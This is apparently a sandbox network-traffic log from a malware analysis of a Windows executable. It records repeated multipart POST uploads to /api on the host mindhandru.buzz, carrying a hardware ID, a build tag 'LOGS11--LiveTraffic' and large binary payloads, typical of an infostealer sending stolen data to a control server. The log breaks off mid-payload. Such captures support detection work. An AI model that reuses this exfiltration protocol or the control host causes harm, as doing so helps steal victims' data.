2024-12-27 14:12:29 UTC	1369	IN	Data Raw: 4a 43 43 46 69 4d 58 59 79 73 6b 4f 4c 30 36 65 47 43 59 53 61 42 64 48 75 59 6e 67 49 66 30 48 67 68 6b 64 2f 6b 64 7a 50 4e 70 72 66 38 79 6a 78 74 48 54 6a 68 78 6f 56 39 55 57 49 46 59 78 58 41 44 2f 77 65 6b 36 75 31 54 4f 4a 78 76 68 55 58 56 30 77 69 70 68 68 61 50 4b 6c 35 6e 4a 48 48 4e 57 32 77 30 75 58 54 74 46 53 37 65 42 36 7a 44 38 41 49 51 61 48 2f 39 4d 64 54 7a 50 5a 48 58 46 74 74 54 52 79 6f 64 52 4c 78 66 5a 42 32 6f 4b 63 47 5a 58 75 73 48 78 62 4f 4a 4d 69 52 6c 63 72 77 46 31 50 74 42 71 61 73 47 69 7a 64 54 50 67 52 52 70 55 39 51 53 4a 56 6b 36 58 6b 69 78 6a 75 73 71 38 41 71 41 46 42 72 37 54 44 5a 36 6e 57 4e 67 68 66 79 47 38 4e 75 45 46 33 5a 47 36 78 67 71 41 33 42 49 44 71 6a 42 36 53 36 37 56 4d 34 59 45 50 31 4d 63 7a 44 Data Ascii: JCCFiMXYyskOL06eGCYSaBdHuYngIf0Hghkd/kdzPNprf8yjxtHTjhxoV9UWIFYxXAD/wek6u1TOJxvhUXV0wiphhaPKl5nJHHNW2w0uXTtFS7eB6zD8AIQaH/9MdTzPZHXFttTRyodRLxfZB2oKcGZXusHxbOJMiRlcrwF1PtBqasGizdTPgRRpU9QSJVk6Xkixjusq8AqAFBr7TDZ6nWNghfyG8NuEF3ZG6xgqA3BIDqjB6S67VM4YEP1MczD
2024-12-27 14:12:29 UTC	1369	IN	Data Raw: 75 72 66 6c 38 61 46 55 54 6b 58 30 42 49 73 55 7a 46 66 53 4c 47 48 35 43 62 34 42 59 30 53 46 66 46 4b 64 54 37 53 59 33 37 42 70 4d 33 51 7a 34 38 55 61 6c 36 65 55 57 70 56 4b 42 63 59 38 61 66 4e 4d 4f 6b 2b 67 42 59 48 74 31 34 34 4c 5a 31 6a 64 49 58 38 68 74 7a 4a 68 67 4e 6b 58 74 59 62 49 31 49 30 58 55 32 32 67 65 73 76 2f 67 69 41 45 52 76 33 54 58 6b 7a 31 57 74 38 78 61 75 47 6d 59 47 4f 43 53 45 50 6e 6a 38 68 52 42 46 5a 53 36 50 42 38 57 7a 69 54 49 6b 5a 58 4b 38 42 65 44 33 63 62 48 62 4a 72 4d 4c 46 77 59 49 59 62 6c 62 52 48 79 6c 54 4f 6c 39 53 74 34 48 6c 4b 76 77 45 69 68 73 4f 39 6b 34 32 65 70 31 6a 59 49 58 38 68 75 62 58 6a 68 5a 75 46 66 63 59 4d 56 4d 36 56 45 75 39 77 66 46 73 34 6b 79 4a 47 56 79 76 41 58 73 34 30 47 42 71 Data Ascii: urfl8aFUTkX0BIsUzFfSLGH5Cb4BY0SFfFKdT7SY37BpM3Qz48Ual6eUWpVKBcY8afNMOk+gBYHt144LZ1jdIX8htzJhgNkXtYbI1I0XU22gesv/giAERv3TXkz1Wt8xauGmYGOCSEPnj8hRBFZS6PB8WziTIkZXK8BeD3cbHbJrMLFwYIYblbRHylTOl9St4HlKvwEihsO9k42ep1jYIX8hubXjhZuFfcYMVM6VEu9wfFs4kyJGVyvAXs40GBq
2024-12-27 14:12:29 UTC	1369	IN	Data Raw: 75 42 30 56 46 71 57 64 73 65 4a 6c 67 33 57 56 4b 77 69 2b 49 6a 2f 41 75 46 42 78 66 6c 53 6e 34 33 30 32 78 78 78 61 72 47 31 73 79 4a 55 53 38 58 32 51 64 71 43 6e 42 79 59 36 61 58 35 47 44 59 47 35 67 66 47 2f 74 58 66 54 58 65 63 6e 58 56 35 49 69 58 30 49 34 41 49 51 2f 49 44 7a 31 56 4c 78 6c 5a 38 59 62 69 59 71 4e 4d 68 52 6f 53 2b 6b 70 79 50 64 68 73 65 38 43 68 7a 4e 76 4e 69 42 6c 6f 58 64 73 61 4c 46 67 7a 57 55 2b 77 6a 65 6f 72 39 51 58 4f 57 31 7a 77 57 54 5a 73 6e 56 4a 6f 77 72 7a 4c 78 34 4f 37 45 6e 42 47 79 78 49 36 56 48 4a 34 51 37 32 43 36 79 58 72 54 4a 46 62 42 62 64 47 65 6e 53 46 4a 48 6a 42 71 4d 58 51 7a 34 59 63 62 6c 44 56 45 43 42 63 49 6c 68 46 75 59 33 6d 4c 2b 6b 47 68 41 63 56 2f 6b 78 34 50 4d 39 6e 4f 49 76 6b 77 Data Ascii: uB0VFqWdseJlg3WVKwi+Ij/AuFBxflSn4302xxxarG1syJUS8X2QdqCnByY6aX5GDYG5gfG/tXfTXecnXV5IiX0I4AIQ/IDz1VLxlZ8YbiYqNMhRoS+kpyPdhse8ChzNvNiBloXdsaLFgzWU+wjeor9QXOW1zwWTZsnVJowrzLx4O7EnBGyxI6VHJ4Q72C6yXrTJFbBbdGenSFJHjBqMXQz4YcblDVECBcIlhFuY3mL+kGhAcV/kx4PM9nOIvkw
2024-12-27 14:12:29 UTC	1369	IN	Data Raw: 51 59 6c 6d 63 4c 6a 78 66 49 46 52 46 74 72 2f 51 4c 50 77 59 69 52 73 61 39 77 45 34 64 4e 49 6b 49 50 7a 6b 6a 70 66 2b 78 31 46 35 46 34 5a 66 48 31 45 2b 57 55 65 6e 6b 4b 4d 42 37 42 71 45 44 6c 37 52 52 6d 63 39 79 32 6c 71 68 65 71 47 30 59 48 52 51 53 38 58 32 67 35 71 43 6d 41 46 47 2b 54 53 75 58 4b 70 45 38 41 4d 58 4f 45 42 4c 6d 61 54 4a 47 71 46 2f 49 61 51 77 70 73 44 5a 31 54 49 48 47 31 73 44 6e 64 4c 70 34 44 6a 4b 66 63 79 73 41 41 66 2b 55 39 78 49 73 77 6b 4e 6f 57 72 68 6f 2f 34 79 56 6b 68 61 4a 42 66 4d 68 4a 6f 46 33 57 79 6a 2b 41 6c 37 52 33 44 4e 52 66 68 51 48 73 2f 30 53 5a 35 79 4c 54 42 6c 34 2f 4a 46 79 45 50 6a 6c 46 71 56 69 45 58 47 4f 48 54 74 58 65 6f 57 39 35 48 41 37 6c 59 4e 69 4b 64 50 43 71 4c 35 4e 53 58 6d 63 Data Ascii: QYlmcLjxfIFRFtr/QLPwYiRsa9wE4dNIkIPzkjpf+x1F5F4ZfH1E+WUenkKMB7BqEDl7RRmc9y2lqheqG0YHRQS8X2g5qCmAFG+TSuXKpE8AMXOEBLmaTJGqF/IaQwpsDZ1TIHG1sDndLp4DjKfcysAAf+U9xIswkNoWrho/4yVkhaJBfMhJoF3Wyj+Al7R3DNRfhQHs/0SZ5yLTBl4/JFyEPjlFqViEXGOHTtXeoW95HA7lYNiKdPCqL5NSXmc
2024-12-27 14:12:29 UTC	1369	IN	Data Raw: 6b 79 6f 70 51 7a 4e 58 53 2f 48 50 72 69 53 37 56 4e 78 62 58 50 4e 51 4e 6d 79 4e 4e 69 4f 51 39 35 47 48 6b 35 5a 66 65 42 66 49 58 33 49 41 66 68 64 53 38 64 6d 75 5a 66 67 65 6e 42 4d 66 34 55 49 78 43 75 4e 43 65 38 4b 69 78 64 6e 57 6d 46 4e 4f 56 4e 55 54 4a 6c 55 6d 61 58 36 6b 67 75 41 73 2f 42 71 66 56 56 4b 33 54 6a 5a 73 35 43 52 70 7a 36 4f 4b 6e 34 32 59 41 6d 39 63 79 42 68 71 62 58 34 58 57 50 48 5a 72 68 66 34 41 6f 41 53 43 75 59 4d 55 44 66 61 59 6e 76 4c 73 39 65 58 6a 38 6b 58 49 51 2b 4d 55 57 70 57 49 52 63 59 34 64 4f 31 64 36 68 62 33 6b 63 44 75 56 67 32 49 70 30 38 4b 34 76 6b 31 4a 65 5a 79 56 5a 76 57 74 38 63 4a 46 45 69 52 55 61 79 6c 2b 31 6c 78 54 4b 72 47 42 48 79 54 33 45 4b 34 30 56 79 31 61 6e 4a 30 50 2b 33 4a 6e 42 Data Ascii: kyopQzNXS/HPriS7VNxbXPNQNmyNNiOQ95GHk5ZfeBfIX3IAfhdS8dmuZfgenBMf4UIxCuNCe8KixdnWmFNOVNUTJlUmaX6kguAs/BqfVVK3TjZs5CRpz6OKn42YAm9cyBhqbX4XWPHZrhf4AoASCuYMUDfaYnvLs9eXj8kXIQ+MUWpWIRcY4dO1d6hb3kcDuVg2Ip08K4vk1JeZyVZvWt8cJFEiRUayl+1lxTKrGBHyT3EK40Vy1anJ0P+3JnB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.11.101	443	4952	C:\Users\user\Desktop\eYAXkcBRfQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:12:31 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PZ32NNBNLXUBZXQG6G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12841 Host: mindhandru.buzz
2024-12-27 14:12:31 UTC	12841	OUT	Data Raw: 2d 2d 50 5a 33 32 4e 4e 42 4e 4c 58 55 42 5a 58 51 47 36 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 33 41 38 43 38 38 39 41 33 37 34 45 30 44 32 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 50 5a 33 32 4e 4e 42 4e 4c 58 55 42 5a 58 51 47 36 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 5a 33 32 4e 4e 42 4e 4c 58 55 42 5a 58 51 47 36 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --PZ32NNBNLXUBZXQG6GContent-Disposition: form-data; name="hwid"63A8C889A374E0D2BEBA0C6A975F1733--PZ32NNBNLXUBZXQG6GContent-Disposition: form-data; name="pid"2--PZ32NNBNLXUBZXQG6GContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-27 14:12:32 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:12:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jput9nm6o5lpn5e544ccvm1kvp; expires=Tue, 22 Apr 2025 07:59:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SmTzB0QjrHUduSZIeEp5%2Bj04I2n9Q86tQQAJo6ILJN9VZUd0mUKm1z%2FByXL%2FX%2FC1yi%2BMP9aDY0Z57ot94gmg3J7j553w%2BoZg9ANsH5dEOyL4jvDVoPfpRuANy7n%2FRSaX7gQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e7f18cea4407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1604&rtt_var=606&sent=14&recv=18&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13780&delivery_rate=1798029&cwnd=230&unsent_bytes=0&cid=8c5767fee0162429&ts=1158&x=0"
2024-12-27 14:12:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:12:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.11.101	443	4952	C:\Users\user\Desktop\eYAXkcBRfQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:12:33 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PWX9WWNW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15023 Host: mindhandru.buzz
2024-12-27 14:12:33 UTC	15023	OUT	Data Raw: 2d 2d 50 57 58 39 57 57 4e 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 33 41 38 43 38 38 39 41 33 37 34 45 30 44 32 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 50 57 58 39 57 57 4e 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 57 58 39 57 57 4e 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 50 57 58 39 57 57 4e 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --PWX9WWNWContent-Disposition: form-data; name="hwid"63A8C889A374E0D2BEBA0C6A975F1733--PWX9WWNWContent-Disposition: form-data; name="pid"2--PWX9WWNWContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--PWX9WWNWContent-Di
2024-12-27 14:12:35 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:12:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=do1q7bfghv9nr2egsr0fbd1p0d; expires=Tue, 22 Apr 2025 07:59:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MhOUtaktSirFDUwWvBMsX1q9x%2B%2F30qBdCQ9lRRTD0vC%2Bukj0RDBthLIMDp%2BwDLyl1ZwhDUA8Pi3BkujxIn9NwCEOP4fkBPOknIyWkfhM3Hywab0ImP5ZIJGrLi9QOHyhfVM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e80018a54304-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1621&min_rtt=1621&rtt_var=609&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2837&recv_bytes=15952&delivery_rate=1795817&cwnd=248&unsent_bytes=0&cid=99d8e1bb36bff3d1&ts=1284&x=0"
2024-12-27 14:12:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:12:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.11.101	443	4952	C:\Users\user\Desktop\eYAXkcBRfQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:12:36 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FHXBE9CJ0661K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20543 Host: mindhandru.buzz
2024-12-27 14:12:36 UTC	15331	OUT	Data Raw: 2d 2d 46 48 58 42 45 39 43 4a 30 36 36 31 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 33 41 38 43 38 38 39 41 33 37 34 45 30 44 32 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 46 48 58 42 45 39 43 4a 30 36 36 31 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 46 48 58 42 45 39 43 4a 30 36 36 31 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 46 48 58 42 45 Data Ascii: --FHXBE9CJ0661KContent-Disposition: form-data; name="hwid"63A8C889A374E0D2BEBA0C6A975F1733--FHXBE9CJ0661KContent-Disposition: form-data; name="pid"3--FHXBE9CJ0661KContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--FHXBE
2024-12-27 14:12:36 UTC	5212	OUT	Data Raw: 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 Data Ascii: F3Wun 4F([:7s~X`nO`i
2024-12-27 14:12:37 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:12:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vtor2vu55bphtrh9419emqgsmc; expires=Tue, 22 Apr 2025 07:59:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sap6%2FuxUL0PO%2FyPJjm6%2BvsuKLsqbiWajJrAdwhLTZUPiOE31pg5f6Gn7lWf2u%2BxiUInWKTAI3euoxaY8S1xOOoBGKtTv4VmtnvjM5%2FegbV1Xm4cylp8DdEVFcegczdVKhrg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e8117f828cbd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1777&min_rtt=1761&rtt_var=693&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21499&delivery_rate=1543340&cwnd=180&unsent_bytes=0&cid=39b0e9dd58071083&ts=944&x=0"
2024-12-27 14:12:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:12:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.11.101	443	4952	C:\Users\user\Desktop\eYAXkcBRfQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:12:39 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GIZZ1QZ4424MO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1222 Host: mindhandru.buzz
2024-12-27 14:12:39 UTC	1222	OUT	Data Raw: 2d 2d 47 49 5a 5a 31 51 5a 34 34 32 34 4d 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 33 41 38 43 38 38 39 41 33 37 34 45 30 44 32 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 47 49 5a 5a 31 51 5a 34 34 32 34 4d 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 47 49 5a 5a 31 51 5a 34 34 32 34 4d 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 47 49 5a 5a 31 Data Ascii: --GIZZ1QZ4424MOContent-Disposition: form-data; name="hwid"63A8C889A374E0D2BEBA0C6A975F1733--GIZZ1QZ4424MOContent-Disposition: form-data; name="pid"1--GIZZ1QZ4424MOContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--GIZZ1
2024-12-27 14:12:39 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:12:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e4omli3sjrnhaftme3136ics1b; expires=Tue, 22 Apr 2025 07:59:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AxWDxkrGcpduNj65FBMjf3g2brTOT8GcsDRQKezgeB8xPIPLEZIEE2BIYp8%2F7Qjngh1LIMJ78JyoHYlTB4AkZif2Y8XoC%2F6JWAUG3UrN8k2i4uKSOBLsRGcMJheI53Ls7jI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e8210a084344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1588&min_rtt=1582&rtt_var=606&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2133&delivery_rate=1788120&cwnd=47&unsent_bytes=0&cid=aa3a0deb070390d8&ts=672&x=0"
2024-12-27 14:12:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:12:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	104.21.11.101	443	4952	C:\Users\user\Desktop\eYAXkcBRfQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:12:41 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AVD330NOZJ6R User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570875 Host: mindhandru.buzz
2024-12-27 14:12:41 UTC	15331	OUT	Data Raw: 2d 2d 41 56 44 33 33 30 4e 4f 5a 4a 36 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 33 41 38 43 38 38 39 41 33 37 34 45 30 44 32 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 41 56 44 33 33 30 4e 4f 5a 4a 36 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 56 44 33 33 30 4e 4f 5a 4a 36 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 41 56 44 33 33 30 4e 4f Data Ascii: --AVD330NOZJ6RContent-Disposition: form-data; name="hwid"63A8C889A374E0D2BEBA0C6A975F1733--AVD330NOZJ6RContent-Disposition: form-data; name="pid"1--AVD330NOZJ6RContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--AVD330NO
2024-12-27 14:12:41 UTC	15331	OUT	Data Raw: de df 2f 04 c1 c7 df 95 e5 af d4 60 9c 87 07 f5 bc 25 7f c6 f8 7f 21 35 e9 cb 9e 9d 08 93 d2 fe 97 df fd 47 aa fd bc 7e b9 3f f7 e7 07 7a 55 78 20 bb 22 4d 77 16 5d 61 25 17 59 8d 3b ff 03 28 4d 8f ff df ed 26 ff f7 01 1e a2 03 70 66 8a 02 ad 04 42 bf 21 2c d8 f8 a0 7d 34 a3 26 13 14 c6 3b 89 5e 68 e8 b7 0b c9 7e cc fd 19 23 84 f4 a7 b2 5e a7 ed 08 00 a9 46 5a 30 3c 3e d8 0b 76 c6 40 8f bd 21 7d 57 f6 9e 9e e6 60 8c 3b ad 51 1e 77 7c d5 59 0e 75 b9 c2 b9 63 b7 6d de 02 6a 89 94 80 70 fb a8 44 61 a6 af 79 ec a1 76 4e 24 1d 9d c4 f5 ba 97 22 7a 84 73 bd 1d 05 81 df af 4c 27 f7 d3 1a a7 4f d1 b9 3d 3f a8 a1 ba 7d de c4 85 4d 9a e8 b9 31 b1 03 ea 82 b2 e1 df be 01 24 82 4f 0d 94 66 25 9d 73 4e c7 e6 6a 21 8e 1c fa 74 01 58 f6 2b 42 63 0d ac 9d f5 2b 2d 36 43 Data Ascii: /`%!5G~?zUx "Mw]a%Y;(M&pfB!,}4&;^h~#^FZ0<>v@!}W`;Qw\|YucmjpDayvN$"zsL'O=?}M1$Of%sNj!tX+Bc+-6C
2024-12-27 14:12:41 UTC	15331	OUT	Data Raw: 86 a7 d8 5c fb 48 e2 cf 94 2a 1b 51 99 79 1d ea 9c d5 08 36 47 71 d9 df 68 3b 37 84 3a 6f e8 87 a0 ef 12 7c 52 1d 2b d5 b0 f0 cb 88 f1 cc be 24 3c fb 79 85 bf 85 36 48 2b 0d b3 44 d0 f2 0a 11 80 ad 87 dd 19 14 66 3d 00 74 2b 83 ff 4d b2 73 c0 d2 0f 90 59 08 72 bf a4 1c 3c db 44 11 e4 ba 3d c9 ff 6f df 76 f9 54 f1 64 73 05 48 00 48 22 ef f9 dc e7 89 03 91 5d 1a 32 28 48 80 f5 41 5c 74 52 a4 03 38 ef 84 b3 14 47 a4 1d a0 43 a1 17 c0 c0 e3 6a a6 47 b1 45 c1 ab e6 fc 4b a7 ee cd c3 2e 18 ac c9 b6 dd 95 dd 57 10 37 d4 65 c0 03 cc d2 bd d1 c2 34 87 6c 54 b7 19 1c 13 34 1b 91 9e 32 a4 ed a8 62 2c e3 a3 de 7c 57 4d e8 38 5e e2 23 6e 08 1e 